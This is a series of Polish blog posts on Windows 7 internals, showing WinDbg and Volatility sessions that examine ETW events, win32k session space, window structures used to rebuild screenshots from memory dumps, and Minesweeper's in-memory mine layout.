     <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'>
      <System>
       <Provider Name='Microsoft-Windows-Diagnosis-DPS' Guid='{6bba3851-2c7e-4dea-8f54-31e5afd029e3}'/>
       <EventID>     1   </EventID>
       <Version>     0   </Version>
       <Level>     5   </Level>
       <Task>     3   </Task>
       <Opcode>     10   </Opcode>
       <Keywords>     0x2000000200000000   </Keywords>
       <TimeCreated SystemTime='2013-04-19T17:28:33.032663600Z'/>
       <EventRecordID>     4   </EventRecordID>
       <Correlation/>
       <Execution ProcessID='1200' ThreadID='1400' ProcessorID='0' KernelTime='0' UserTime='0'/>
       <Channel>   </Channel>
       <Computer>     VM7   </Computer>
       <Security/>
      </System>
      <EventData>  </EventData>
     </Event>  

    TimeCreated SystemTime='2013-04-19T17:28:33.032663600Z'
    Publisher name: Microsoft-Windows-Diagnosis-DPS
    Event message:
    Usługa Zasady diagnostyki została uruchomiona. To zdarzenie sygnalizuje modułom diagnostycznym opóźnione przetwarzanie po zainicjowaniu usługi.

    ==========
    Success all items processed!

    Zauważmy, że zrzucone zdarzenia są w formacie xml eventloga, co nieco ułatwia ich interpretację. W powyższym przypadku mamy zapisane zdarzenia związane ze sterownikiem win64dd, co może sugerować bezpośredni związek z padem systemu.

    Dla niektórych loggerów i mniej obciążonego systemu można wyciągnąć nawet setki sekund zdarzeń (vide przykłady z linku #2 z przypisów). W przypadku loggera CKCL (i oczywiście innych, +własne) można czasem przed padem systemu dorzucić do niego zdarzenia związane z innymi, niż podstawowe providerami i w ten sposób dopisać sporo interesujących informacji do dumpa (też link #2).

    Jako lekturę obowiązkową dla zainteresowanych, podaję:

    1. Defrag Tools: #29 - WinDbg - ETW Logging
    2. Part 3: ETW Methods of Tracing (z cyklu tekstów o ETW na blogu ntdebugging)

    opublikowano 24 sierpnia 2013 18:18 przez mgrzeg | 0 komentarzy
    Filed under: , ,
  • win32k a sesja

    Poprzedni wpis zakończyłem pytaniem o dodatkowe polecenie, które wykonałem tuż po ustaleniu adresu instancji EPROCESS dla kalkulatora, czyli

    kd> .process /P fffffa8003951060

    Czy było ono niezbędne? :)

    Najważniejszą wskazówką jaką podałem, to to, że dump został przygotowany z poziomu debuggera jądra, a nie np. z wykorzystaniem zewnętrznego narzędzia (typu notmyfault, czy win64dd), co oznacza, że wykonałem go będąc przełączonym na proces systemowy.

    _MM_SESSION_SPACE

    W systemie może być wiele sesji - kilka lat temu pisałem o tym, że od Visty usługi pracują w sesji 0, natomiast użytkownicy w sesji 1 i następnych. W ramach sesji 1 mamy ‘konsolę’, czyli ‘sesję interaktywną’ - tą, z którą łączymy się pracując bezpośrednio przy komputerze. Precyzyjniej rzecz ujmując, jest to sesja 1, stacja okienkowa ‘WinSta0’, pulpit ‘Default’ (co pokazałem na zrzutach w poprzednim wpisie).
    Dla każdej sesji system tworzy obiekt typu _MM_SESSION_SPACE i każdy proces ma w ramach swojej struktury EPROCESS link do powiązanej z nim sesji, w ramach pola Session. Sprawdźmy to dla kilku przykładów:

    1. Lsass.exe

    kd> !process 0 0 lsass.exe
    PROCESS fffffa80034e02a0
        SessionId: 0  Cid: 0220    Peb: 7fffffd6000  ParentCid: 019c
        DirBase: 203f9000  ObjectTable: fffff8a002609310  HandleCount: 576.
        Image: lsass.exe
    kd> dt nt!_EPROCESS fffffa80034e02a0 Session
       +0x2d8 Session : 0xfffff880`030b2000 Void
    kd> dt nt!_MM_SESSION_SPACE 0xfffff880`030b2000 SessionId
       +0x008 SessionId : 0

    2. calc.exe

    kd> !process 0 0 calc.exe
    PROCESS fffffa8003951060
        SessionId: 1  Cid: 0bf8    Peb: 7fffffd9000  ParentCid: 0b50
        DirBase: 1a014000  ObjectTable: fffff8a002b7b0e0  HandleCount:  75.
        Image: calc.exe

    kd> dt nt!_EPROCESS fffffa8003951060 Session
       +0x2d8 Session : 0xfffff880`033e5000 Void
    kd> dt nt!_MM_SESSION_SPACE 0xfffff880`033e5000 SessionId
       +0x008 SessionId : 1

    3. System
    To najciekawszy przykład - sprawdźmy, z którą sesją powiązany jest proces systemowy

    kd> !process 0 0 system
    PROCESS fffffa80018d0040
        SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
        DirBase: 00187000  ObjectTable: fffff8a000001720  HandleCount: 418.
        Image: System

    kd> dt nt!_EPROCESS fffffa80018d0040 Session
       +0x2d8 Session : (null)

    A zatem proces systemowy nie jest powiązany z żadną sesją. Dlatego też, wykonując zrzut w kontekście procesu systemowego nie miałem podlączonej żadnej sesji.

    kd> !session
    Sessions on machine: 2
    Valid Sessions: 0 1
    Error in reading current session

    Gdy jednak to samo polecenie wykonam będąc na zrzucie wykonanym win64dd, otrzymam w wyniku:

    kd> !session
    Sessions on machine: 2
    Valid Sessions: 0 1
    Current Session 1

    Aby przełączyć się na konkretną sesję mogę wykonać to na dwa sposoby:

    kd> !session -s 1
    Sessions on machine: 2
    Implicit process is now fffffa80`0346eaa0
    Using session 1

    Ciekawe przy okazji, na jaki proces zostaliśmy przełączeni:

    kd> dt nt!_EPROCESS fffffa80`0346eaa0 ImageFileName
       +0x2e0 ImageFileName : [15]  "csrss.exe"

    No tak. Pierwszy proces tworzony w ramach każdej sesji.

    Drugi sposób to jawne przełączenie kontekstu na dany proces, co zrobiłem w poprzednim wpisie:

    kd> .process /P fffffa8003951060

    Poprzednio wspomniałem również, że 512 GB obszar sesji obejmuje adresy:
    FFFFF900`00000000 - FFFFF97F`FFFFFFFF
    zobaczmy zatem co fizycznie odpowiada temu adresowi dla różnych procesów powiązanych z różnymi sesjami:

    1. Sesja 1

    kd> !process 0 0 notepad.exe
    PROCESS fffffa8003c80920
        SessionId: 1  Cid: 0b94    Peb: 7fffffde000  ParentCid: 0b50
        DirBase: 2bff2000  ObjectTable: fffff8a003883480  HandleCount:  57.
        Image: notepad.exe

    kd> .process /P fffffa8003c80920
    Implicit process is now fffffa80`03c80920
    kd> !pte 0xfffff900`00000000
                                               VA fffff90000000000
    PXE at FFFFF6FB7DBEDF90    PPE at FFFFF6FB7DBF2000    PDE at FFFFF6FB7E400000    PTE at FFFFF6FC80000000
    contains 0000000021DF5863  contains 0000000076F76863  contains 0000000075777863  contains 000000006EB73863
    pfn 21df5     ---DA--KWEV  pfn 76f76     ---DA--KWEV  pfn 75777     ---DA--KWEV  pfn 6eb73     ---DA--KWEV

    kd> !process 0 0 calc.exe
    PROCESS fffffa8003951060
        SessionId: 1  Cid: 0bf8    Peb: 7fffffd9000  ParentCid: 0b50
        DirBase: 1a014000  ObjectTable: fffff8a002b7b0e0  HandleCount:  75.
        Image: calc.exe

    kd> .process /P fffffa8003951060
    Implicit process is now fffffa80`03951060
    kd> !pte 0xfffff900`00000000
                                               VA fffff90000000000
    PXE at FFFFF6FB7DBEDF90    PPE at FFFFF6FB7DBF2000    PDE at FFFFF6FB7E400000    PTE at FFFFF6FC80000000
    contains 0000000021DF5863  contains 0000000076F76863  contains 0000000075777863  contains 000000006EB73863
    pfn 21df5     ---DA--KWEV  pfn 76f76     ---DA--KWEV  pfn 75777     ---DA--KWEV  pfn 6eb73     ---DA--KWEV

    A więc mamy te same pfn dla tego adresu w przypadku obu procesów z sesji 1

    2. Sesja 0

    kd> !process 0 0 lsass.exe
    PROCESS fffffa80034e02a0
        SessionId: 0  Cid: 0220    Peb: 7fffffd6000  ParentCid: 019c
        DirBase: 203f9000  ObjectTable: fffff8a002609310  HandleCount: 576.
        Image: lsass.exe

    kd> .process /P fffffa80034e02a0
    Implicit process is now fffffa80`034e02a0
    kd> !pte 0xfffff900`00000000
                                               VA fffff90000000000
    PXE at FFFFF6FB7DBEDF90    PPE at FFFFF6FB7DBF2000    PDE at FFFFF6FB7E400000    PTE at FFFFF6FC80000000
    contains 0000000022998863  contains 0000000022919863  contains 000000002291A863  contains 0000000022B16863
    pfn 22998     ---DA--KWEV  pfn 22919     ---DA--KWEV  pfn 2291a     ---DA--KWEV  pfn 22b16     ---DA--KWEV

    kd> !process 0 0 audiodg.exe
    PROCESS fffffa8003679060
        SessionId: 0  Cid: 017c    Peb: 7fffffd9000  ParentCid: 03b4
        DirBase: 152e4000  ObjectTable: fffff8a0029177d0  HandleCount: 115.
        Image: audiodg.exe

    kd> .process /P fffffa8003679060
    Implicit process is now fffffa80`03679060
    kd> !pte 0xfffff900`00000000
                                               VA fffff90000000000
    PXE at FFFFF6FB7DBEDF90    PPE at FFFFF6FB7DBF2000    PDE at FFFFF6FB7E400000    PTE at FFFFF6FC80000000
    contains 0000000022998863  contains 0000000022919863  contains 000000002291A863  contains 0000000022B16863
    pfn 22998     ---DA--KWEV  pfn 22919     ---DA--KWEV  pfn 2291a     ---DA--KWEV  pfn 22b16     ---DA--KWEV

    A zatem i w tym przypadku mamy ten sam pfn dla obu procesów, przy czym jest on różny od tego, z czym się spotkalismy analizując procesy sesji 1

    3. W kontekście procesu systemu

    kd> !process 0 0 system
    PROCESS fffffa80018d0040
        SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
        DirBase: 00187000  ObjectTable: fffff8a000001720  HandleCount: 418.
        Image: System

    kd> .process /P fffffa80018d0040
    Implicit process is now fffffa80`018d0040
    kd> !pte 0xfffff900`00000000
                                               VA fffff90000000000
    PXE at FFFFF6FB7DBEDF90    PPE at FFFFF6FB7DBF2000    PDE at FFFFF6FB7E400000    PTE at FFFFF6FC80000000
    contains 0000000000000000
    not valid

    A zatem w kontekście procesu system ten adres nie jest poprawny

    Gdy zrobimy zrzut załadowanych modułów, to okazuje się, iż w obszarze sesji mamy załadowane następujące:

    kd> lm kv
    start             end                 module name
    [CIAP]
    fffff960`000a0000 fffff960`003b6000   win32k     (pdb symbols)          c:\websymbols\win32k.pdb\C56BAB5A7D284C9DA9ECF3691D7D35B32\win32k.pdb
        Loaded symbol image file: win32k.sys
        Mapped memory image file: c:\websymbols\win32k.sys\50AEECC6316000\win32k.sys
        Image path: \SystemRoot\System32\win32k.sys
        Image name: win32k.sys
        Timestamp:        Fri Nov 23 04:25:58 2012 (50AEECC6)
        CheckSum:         0030B8F7
        ImageSize:        00316000
        Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4
    fffff960`00500000 fffff960`0050a000   TSDDD      (deferred)            
        Image path: \SystemRoot\System32\TSDDD.dll
        Image name: TSDDD.dll
        Timestamp:        Tue Jul 14 02:16:34 2009 (4A5BCE62)
        CheckSum:         00009E96
        ImageSize:        0000A000
        Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4
    fffff960`00610000 fffff960`00637000   cdd        (deferred)            
        Image path: \SystemRoot\System32\cdd.dll
        Image name: cdd.dll
        Timestamp:        Sat Nov 20 13:55:34 2010 (4CE7C546)
        CheckSum:         0002D4F0
        ImageSize:        00027000
        Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4

    Dzięki temu win32k nie musi samodzielnie zajmować się sesjami i ma zapewnioną pełną separację między różnymi sesjami, a sam może zajmować się tylko stacjami okienkowymi, pulpitami, oknami, no i oczywiście procesami i wątkami powiązanymi z tymi obiektami :)

    Reasumując: gdybym nie przełączył się na proces kalkulatora, to przeglądając zawartość obiektów sesji odwoływałbym się do adresów w ramach kontekstu procesu system, czyli widziałbym nieprawidłowe adresy.

    I zagadka dla bardzo wytrwałych: który proces poza system nie jest połączony z żadną sesją?

  • Memory dump a screenshot

    Kilku śmiałków postanowiło odpowiedzieć na moje wyzwanie rzucone w poprzednim wpisie, nadszedł zatem czas na moje rozwiązanie. Postanowiłem jednak, że odpowiem pełnymi zdaniami, a inni sami ustalą, która z odpowiedzi jest najbliższa prawdy (a przynajmniej mojej wersji prawdy ;)). Zaczynamy od zrzutów ekranu

    1. Mając do dyspozycji pełny memory.dmp można wygenerować zrzuty ekranu dla wszystkich aktywnych sesji z momentu padu systemu, a także co się działo w systemie w ostatnich sekundach przed padem.

    Dziś kilka słów o pierwszej - tłuściutkiej części zdania.

    Intro

    W Windows 7 obsługa okien realizowana jest w dużej mierze w obrębie win32k.sys. Aby dostać się do struktur win32k, musimy pogrzebać nieco głębiej w systemie. Potrzebny nam zatem będzie kernel debugger i łyk wiedzy o wewnętrznych strukturach win32k.

    W czasie tworzenia procesu Win32, po wstępnym przygotowaniu przez system struktury EPROCESS, CSRSS tworzy obiekt CSR_PROCESS, po czym win32k dodaje do własnej listy procesów odpowiedni obiekt W32PROCESS. Podobnie dzieje się z wątkami - tam, gdzie mamy do czynienia z wątkiem GUI, tworzony jest obiekt W32THREAD i dowiązywany do odpowiedniej listy. W ramach struktury nt!_EPROCESS możemy znaleźć pole Win32Process, które prowadzi nas wprost do struktury win32k!tagPROCESSINFO.

    W poszukiwaniu okien

    Bez dalszych opowieści, weźmy zatem pełny dump systemu (przygotowany z poziomu debuggera jądra podłączonego do działającego systemu, bezpośrednio po ctrl+break) i przyjrzyjmy się kalkulatorowi.

    kd> !process 0 0 calc.exe
    PROCESS fffffa8003951060
        SessionId: 1  Cid: 0bf8    Peb: 7fffffd9000  ParentCid: 0b50
        DirBase: 1a014000  ObjectTable: fffff8a002b7b0e0  HandleCount:  75.
        Image: calc.exe

    kd> .process /P fffffa8003951060
    Implicit process is now fffffa80`03951060

    kd> dt nt!_EPROCESS fffffa8003951060 Win32Process
       +0x258 Win32Process : 0xfffff900`c1acd9b0 Void

    Mamy zatem obiekt win32k!tagPROCESSINFO powiązany z procesem calc.exe. Przy okazji uwaga odnośnie układu pamięci wirtualnej jądra x64 - pole Win32Process wskazuje na adres w 512 GB obszarze sesji, przeznaczonym właśnie m.in. na win32k.sys (za Russinovichem oraz http://www.codemachine.com/article_x64kvas.html).

    Przeglądając zawartość struktury win32k!tagPROCESSINFO uświadamiamy sobie, że nie mamy powiązania z oknami należącymi do tego procesu. Mamy jednak adres pulpitu startowego, dzięki czemu możemy próbować dojść do procesu od strony okien :)

    kd> dt win32k!tagPROCESSINFO 0xfffff900`c1acd9b0 rpdeskStartup
       +0x110 rpdeskStartup : 0xfffffa80`034c07a0 tagDESKTOP

    tu przechodzimy dalej do tagDESKTOPINFO

    kd> dt win32k!tagDESKTOP 0xfffffa80`034c07a0 pDeskInfo
       +0x008 pDeskInfo : 0xfffff900`c0600a70 tagDESKTOPINFO

    i stąd zaczynamy listować wszystkie okna, zaczynając od pola spwnd

    kd> dt win32k!tagDESKTOPINFO 0xfffff900`c0600a70 spwnd
       +0x010 spwnd : 0xfffff900`c0600b90 tagWND

    Przechodzimy po kolei wszystkie okna (spwndNext, spwndChild), aby wreszcie trafić na okno:

    kd> dt win32k!tagWND fffff900c061f730
       +0x000 head             : _THRDESKHEAD
       +0x028 state            : 0x50020009
       +0x028 bHasMeun         : 0y1
       +0x028 bHasVerticalScrollbar : 0y0
       +0x028 bHasHorizontalScrollbar : 0y0
       +0x028 bHasCaption      : 0y1
       +0x028 bSendSizeMoveMsgs : 0y0
       +0x028 bMsgBox          : 0y0
       +0x028 bActiveFrame     : 0y0
       +0x028 bHasSPB          : 0y0
       +0x028 bNoNCPaint       : 0y0
       +0x028 bSendEraseBackground : 0y0
       +0x028 bEraseBackground : 0y0
       +0x028 bSendNCPaint     : 0y0
       +0x028 bInternalPaint   : 0y0
       +0x028 bUpdateDirty     : 0y0
       +0x028 bHiddenPopup     : 0y0
       +0x028 bForceMenuDraw   : 0y0
       +0x028 bDialogWindow    : 0y0
       +0x028 bHasCreatestructName : 0y1
       +0x028 bServerSideWindowProc : 0y0
       +0x028 bAnsiWindowProc  : 0y0
       +0x028 bBeingActivated  : 0y0
       +0x028 bHasPalette      : 0y0
       +0x028 bPaintNotProcessed : 0y0
       +0x028 bSyncPaintPending : 0y0
       +0x028 bRecievedQuerySuspendMsg : 0y0
       +0x028 bRecievedSuspendMsg : 0y0
       +0x028 bToggleTopmost   : 0y0
       +0x028 bRedrawIfHung    : 0y0
       +0x028 bRedrawFrameIfHung : 0y1
       +0x028 bAnsiCreator     : 0y0
       +0x028 bMaximizesToMonitor : 0y1
       +0x028 bDestroyed       : 0y0
       +0x02c state2           : 0x80000700
       +0x02c bWMPaintSent     : 0y0
       +0x02c bEndPaintInvalidate : 0y0
       +0x02c bStartPaint      : 0y0
       +0x02c bOldUI           : 0y0
       +0x02c bHasClientEdge   : 0y0
       +0x02c bBottomMost      : 0y0
       +0x02c bFullScreen      : 0y0
       +0x02c bInDestroy       : 0y0
       +0x02c bWin31Compat     : 0y1
       +0x02c bWin40Compat     : 0y1
       +0x02c bWin50Compat     : 0y1
       +0x02c bMaximizeMonitorRegion : 0y0
       +0x02c bCloseButtonDown : 0y0
       +0x02c bMaximizeButtonDown : 0y0
       +0x02c bMinimizeButtonDown : 0y0
       +0x02c bHelpButtonDown  : 0y0
       +0x02c bScrollBarLineUpBtnDown : 0y0
       +0x02c bScrollBarPageUpBtnDown : 0y0
       +0x02c bScrollBarPageDownBtnDown : 0y0
       +0x02c bScrollBarLineDownBtnDown : 0y0
       +0x02c bAnyScrollButtonDown : 0y0
       +0x02c bScrollBarVerticalTracking : 0y0
       +0x02c bForceNCPaint    : 0y0
       +0x02c bForceFullNCPaintClipRgn : 0y0
       +0x02c FullScreenMode   : 0y000
       +0x02c bCaptionTextTruncated : 0y0
       +0x02c bNoMinmaxAnimatedRects : 0y0
       +0x02c bSmallIconFromWMQueryDrag : 0y0
       +0x02c bShellHookRegistered : 0y0
       +0x02c bWMCreateMsgProcessed : 0y1
       +0x030 ExStyle          : 0xe0080900
       +0x030 bWS_EX_DLGMODALFRAME : 0y0
       +0x030 bUnused1         : 0y0
       +0x030 bWS_EX_NOPARENTNOTIFY : 0y0
       +0x030 bWS_EX_TOPMOST   : 0y0
       +0x030 bWS_EX_ACCEPTFILE : 0y0
       +0x030 bWS_EX_TRANSPARENT : 0y0
       +0x030 bWS_EX_MDICHILD  : 0y0
       +0x030 bWS_EX_TOOLWINDOW : 0y0
       +0x030 bWS_EX_WINDOWEDGE : 0y1
       +0x030 bWS_EX_CLIENTEDGE : 0y0
       +0x030 bWS_EX_CONTEXTHELP : 0y0
       +0x030 bMakeVisibleWhenUnghosted : 0y1
       +0x030 bWS_EX_RIGHT     : 0y0
       +0x030 bWS_EX_RTLREADING : 0y0
       +0x030 bWS_EX_LEFTSCROLLBAR : 0y0
       +0x030 bUnused2         : 0y0
       +0x030 bWS_EX_CONTROLPARENT : 0y0
       +0x030 bWS_EX_STATICEDGE : 0y0
       +0x030 bWS_EX_APPWINDOW : 0y0
       +0x030 bWS_EX_LAYERED   : 0y1
       +0x030 bWS_EX_NOINHERITLAYOUT : 0y0
       +0x030 bUnused3         : 0y0
       +0x030 bWS_EX_LAYOUTRTL : 0y0
       +0x030 bWS_EX_NOPADDEDBORDER : 0y0
       +0x030 bUnused4         : 0y0
       +0x030 bWS_EX_COMPOSITED : 0y0
       +0x030 bUIStateActive   : 0y0
       +0x030 bWS_EX_NOACTIVATE : 0y0
       +0x030 bWS_EX_COMPOSITEDCompositing : 0y0
       +0x030 bRedirected      : 0y1
       +0x030 bUIStateKbdAccelHidden : 0y1
       +0x030 bUIStateFocusRectHidden : 0y1
       +0x034 style            : 0x14ca0000
       +0x034 bReserved1       : 0y0000000000000000 (0)
       +0x034 bWS_MAXIMIZEBOX  : 0y0
       +0x034 bReserved2       : 0y0000000000000000 (0)
       +0x034 bWS_TABSTOP      : 0y0
       +0x034 bReserved3       : 0y0000000000000000 (0)
       +0x034 bUnused5         : 0y0
       +0x034 bWS_MINIMIZEBOX  : 0y1
       +0x034 bReserved4       : 0y0000000000000000 (0)
       +0x034 bUnused6         : 0y0
       +0x034 bWS_GROUP        : 0y1
       +0x034 bReserved5       : 0y0000000000000000 (0)
       +0x034 bUnused7         : 0y10
       +0x034 bWS_THICKFRAME   : 0y0
       +0x034 bReserved6       : 0y0000000000000000 (0)
       +0x034 bUnused8         : 0y10
       +0x034 bWS_SIZEBOX      : 0y0
       +0x034 bReserved7       : 0y0000000000000000 (0)
       +0x034 bUnused9         : 0y010
       +0x034 bWS_SYSMENU      : 0y1
       +0x034 bWS_HSCROLL      : 0y0
       +0x034 bWS_VSCROLL      : 0y0
       +0x034 bWS_DLGFRAME     : 0y1
       +0x034 bWS_BORDER       : 0y1
       +0x034 bMaximized       : 0y0
       +0x034 bWS_CLIPCHILDREN : 0y0
       +0x034 bWS_CLIPSIBLINGS : 0y1
       +0x034 bDisabled        : 0y0
       +0x034 bVisible         : 0y1
       +0x034 bMinimized       : 0y0
       +0x034 bWS_CHILD        : 0y0
       +0x034 bWS_POPUP        : 0y0
       +0x038 hModule          : 0x00000000`ff6f0000 Void
       +0x040 hMod16           : 0
       +0x042 fnid             : 0
       +0x048 spwndNext        : 0xfffff900`c062a730 tagWND
       +0x050 spwndPrev        : 0xfffff900`c06226d0 tagWND
       +0x058 spwndParent      : 0xfffff900`c0600b90 tagWND
       +0x060 spwndChild       : 0xfffff900`c0622a10 tagWND
       +0x068 spwndOwner       : (null)
       +0x070 rcWindow         : tagRECT
       +0x080 rcClient         : tagRECT
       +0x090 lpfnWndProc      : 0x00000000`ff6f1c58     int64  +ff6f1c58
       +0x098 pcls             : 0xfffff900`c061f590 tagCLS
       +0x0a0 hrgnUpdate       : (null)
       +0x0a8 ppropList        : 0xfffff900`c0627c10 tagPROPLIST
       +0x0b0 pSBInfo          : (null)
       +0x0b8 spmenuSys        : (null)
       +0x0c0 spmenu           : 0xfffff900`c061f860 tagMENU
       +0x0c8 hrgnClip         : (null)
       +0x0d0 hrgnNewFrame     : (null)
       +0x0d8 strName          : _LARGE_UNICODE_STRING
       +0x0e8 cbwndExtra       : 0n0
       +0x0f0 spwndLastActive  : 0xfffff900`c061f730 tagWND
       +0x0f8 hImc             : 0x00000000`000501d1 HIMC__
       +0x100 dwUserData       : 0
       +0x108 pActCtx          : (null)
       +0x110 pTransform       : (null)
       +0x118 spwndClipboardListenerNext : (null)
       +0x120 ExStyle2         : 0x18
       +0x120 bClipboardListener : 0y0
       +0x120 bLayeredInvalidate : 0y0
       +0x120 bRedirectedForPrint : 0y0
       +0x120 bLinked          : 0y1
       +0x120 bLayeredForDWM   : 0y1
       +0x120 bLayeredLimbo    : 0y0
       +0x120 bHIGHDPI_UNAWARE_Unused : 0y0
       +0x120 bVerticallyMaximizedLeft : 0y0
       +0x120 bVerticallyMaximizedRight : 0y0
       +0x120 bHasOverlay      : 0y0
       +0x120 bConsoleWindow   : 0y0
       +0x120 bChildNoActivate : 0y0

    Tu nas interesują pola:
       +0x000 head             : _THRDESKHEAD
    dalej
       +0x070 rcWindow         : tagRECT
    oraz
       +0x0d8 strName          : _LARGE_UNICODE_STRING
    i skoro już tu jesteśmy - niech mi ktoś powie, co określa pole
       +0x028 bHasMeun         : 0y1
    bo nic mi nie przychodzi do głowy ;) (tak przy okazji - okno kalkulatora posiada menu)

    Z pierwszego z pól wyciągamy kolejno:

    kd> dt win32k!_THRDESKHEAD fffff900c061f730 pti
       +0x010 pti : 0xfffff900`c1ea7930 tagTHREADINFO
    kd> dt win32k!tagTHREADINFO 0xfffff900`c1ea7930 ppi
       +0x158 ppi : 0xfffff900`c1acd9b0 tagPROCESSINFO
    kd> dt win32k!tagPROCESSINFO 0xfffff900`c1acd9b0 Process
       +0x000 Process : 0xfffffa80`03951060 _EPROCESS
    kd> dt nt!_EPROCESS 0xfffffa80`03951060 UniqueProcessId ImageFileName
       +0x180 UniqueProcessId : 0x00000000`00000bf8 Void
       +0x2e0 ImageFileName   : [15]  "calc.exe"

    i jesteśmy w domu! :)

    Drugie pole to struktura opisująca położenie lewego górnego oraz prawego dolnego rogu okna:

    kd> dt win32k!tagRECT fffff900c061f730+0x070
       +0x000 left             : 0n154
       +0x004 top              : 0n140
       +0x008 right            : 0n382
       +0x00c bottom           : 0n462

    Trzecie pole to struktura typu win32k!_LARGE_UNICODE_STRING, w której znajduje się tytuł okna. Zrzucamy ją zatem

    kd> dt win32k!_LARGE_UNICODE_STRING fffff900c061f730+0x0d8
       +0x000 Length           : 0x14
       +0x004 MaximumLength    : 0y0000000000000000000000000010110 (0x16)
       +0x004 bAnsi            : 0y0
       +0x008 Buffer           : 0xfffff900`c0622690  -> 0x43

    a następnie z pola Buffer wyciągamy odpowiedni tekst:

    kd> du 0xfffff900`c0622690
    fffff900`c0622690  "Calculator"

    Nie ukrywam, że do znalezienia odpowiedniego okna napisałem drobne rozszerzenie windbg, które przeczesało mi po kolei okna należące do desktopu powiązanego z procesem.

    Oczywiście, mając informację o tytułach okien, ich położeniu i rozmiarach, możemy pokusić się o wygenerowanie grafiki, która będzie przedstawiać odpowiedni dekstop.

    Volatility

    I dokładnie z tego mechanizmu korzysta polecenie screenshot z pakietu Volatility, zaczyna jednak nieco wyżej - listuje po kolei wszystkie stacje okienkowe, następnie należące do nich desktopy i dla każdego z nich generuje plik .png. Do wykonania zrzutu korzystamy z polecenia

    >python vol.py -f win7x86.dmp --profile=Win7SP1x86 screenshot -D screnshots/
    Volatile Systems Volatility Framework 2.3_alpha
    Wrote screenshots\session_0.msswindowstation.mssrestricteddesk.png
    Wrote screenshots\session_0.Service-0x0-3e4$.Default.png
    Wrote screenshots\session_0.Service-0x0-3e5$.Default.png
    Wrote screenshots\session_0.Service-0x0-3e7$.Default.png
    Wrote screenshots\session_0.WinSta0.Default.png
    Wrote screenshots\session_0.WinSta0.Disconnect.png
    Wrote screenshots\session_0.WinSta0.Winlogon.png
    Wrote screenshots\session_1.WinSta0.Default.png
    Wrote screenshots\session_1.WinSta0.Disconnect.png
    Wrote screenshots\session_1.WinSta0.Winlogon.png

    Poniżej porównanie: rzeczywisty zrzut ekranu

    Rys 1. Rzeczywisty zrzut ekranu

    i zrzut wygenerowany przez Volatility z memory dumpa

    Rys 2. Zrzut ekranu wygenerowany przez Volatility

    Różnicę widać gołym okiem i ocenę, czy jest to zrzut ekranu, czy nie pozostawiam Wam.

    Zapewne zauważyliście, że do wykonania zrzutu skorzystałem z dumpa x86, podczas gdy opis obejmował x64. Z jakiejś przyczyny Volatility dla wersji x64 nie potrafi prawidłowo zinterpretować strName i - przynajmniej u mnie - generuje zrzut bez nazw okien.

    A na koniec zagadka: do czego służyło mi polecenie

    kd> .process /P fffffa8003951060

    i co bym otrzymał dalej, gdybym go nie wykonał?

    opublikowano 23 sierpnia 2013 21:26 przez mgrzeg | 1 komentarzy
    Filed under: , ,
  • Zgaduj-zgadula, czyli co ty wiesz o systemie i inne takie

    Zabawa-zagadka dla znudzonych. Które zdania odnoszące się do Windows 7 są prawdziwe, które nie, a które czasem tak, a czasem nie? (+ew. źródełko)

    1. Mając do dyspozycji pełny memory.dmp można wygenerować zrzuty ekranu dla wszystkich aktywnych sesji z momentu padu systemu, a także co się działo w systemie w ostatnich sekundach przed padem.
    2. W plikach prefetchera (%SystemRoot%\Prefetch) znajdują się informacje o tym kto i kiedy uruchomił dany program, a także listę załadowanych przez ten program bibliotek.
    3. Po zalogowaniu do systemu nie ma możliwości odzyskania hasła użytego podczas logowania.
    4. Domyślne (po instalacji) ustawienia UAC chronią mnie skutecznie przed aplikacjami chcącymi zmodyfikować ustawienia systemowe.

    I z innej beczki
    1. Przelewy bankowe potwierdzam hasłami otrzymanymi SMSem z banku - jestem bezpieczny.
    2. Istnieje plik będący archiwum .zip, który po rozpakowaniu jest tym samym plikiem ('niezmiennik zipa').

  • Saper - wyszukiwanie wzorca a bomby

    Wróćmy do naszego przykładu z saperem. Jakiś czas temu opisałem metodę na 'rozminowanie' z wykorzystaniem informacji znajdujących się w symbolach - wystarczyło sięgnąć do tablicy rgBlk i odpowiednio interpretując dane mieliśmy to, co nas interesowało.
    Aby dobrać się do interesujących nas danych nie musimy mieć jednak dostępnych symboli, wystarczy, że będziemy wiedzieć skąd te dane wyłuskać.

    Podając przepis na rozminowanie pola przygotowałem tabelkę z symbolami oraz informacją o ich możliwych rozmiarach - przyjrzyjmy się bliżej sąsiadom tablicy rgBlk:

    1005330 winmine!cBombStart 4
    1005334 winmine!xBoxMac 4
    1005338 winmine!yBoxMac 8
    1005340 winmine!rgBlk 864

    Zauważmy, że moglibyśmy to zapisać w postaci:

    typedef struct _Bomby {
     DWORD32 cBombStart;
     DWORD32 xBoxMac;
     DWORD32 yBoxMac;
     DWORD32 alignment;
     BYTE rgBlk[832];
    } Bomby;

    Wystarczy zatem, że będziemy wiedzieli gdzie znajduje się jeden z elementów tej struktury, a pozostałe odnajdziemy dodając odpowiedni offset. Przyjrzyjmy się bliżej symbolowi cBombStart:

    0:000> x winmine!cBombStart
    01005330          winmine!cBombStart = <no type information>

    Mamy zatem interesujący nas adres. Troszkę sobie utrudnijmy i sprawdźmy, czy gdzieś w obszarze obrazu winmine nie występuje odwołanie do tego adresu:

    0:000> lmvm winmine
    start    end        module name
    01000000 01020000   winmine    (pdb symbols)          c:\websymbols\winmine.pdb\3B7D84751\winmine.pdb
        Loaded symbol image file: winmine.exe
        Image path: C:\WINDOWS\system32\winmine.exe
        Image name: winmine.exe
        Timestamp:        Fri Aug 17 22:54:13 2001 (3B7D8475)
        CheckSum:         0002B641
        ImageSize:        00020000
        File version:     5.1.2600.0
        Product version:  5.1.2600.0
        File flags:       0 (Mask 3F)
        File OS:          40004 NT Win32
        File type:        1.0 App
        File date:        00000000.00000000
        Translations:     0409.04b0
        CompanyName:      Microsoft Corporation
        ProductName:      Microsoft® Windows® Operating System
        InternalName:     winmine
        OriginalFilename: WINMINE.EXE
        ProductVersion:   5.1.2600.0
        FileVersion:      5.1.2600.0 (xpclient.010817-1148)
        FileDescription:  Entertainment Pack Minesweeper Game
        LegalCopyright:   © Microsoft Corporation. All rights reserved.

    Następnie przeszukujemy całą intesujący nas zakres

    0:000> s -b 01000000 L?0x00020000 0x30 0x53 0x00 0x01
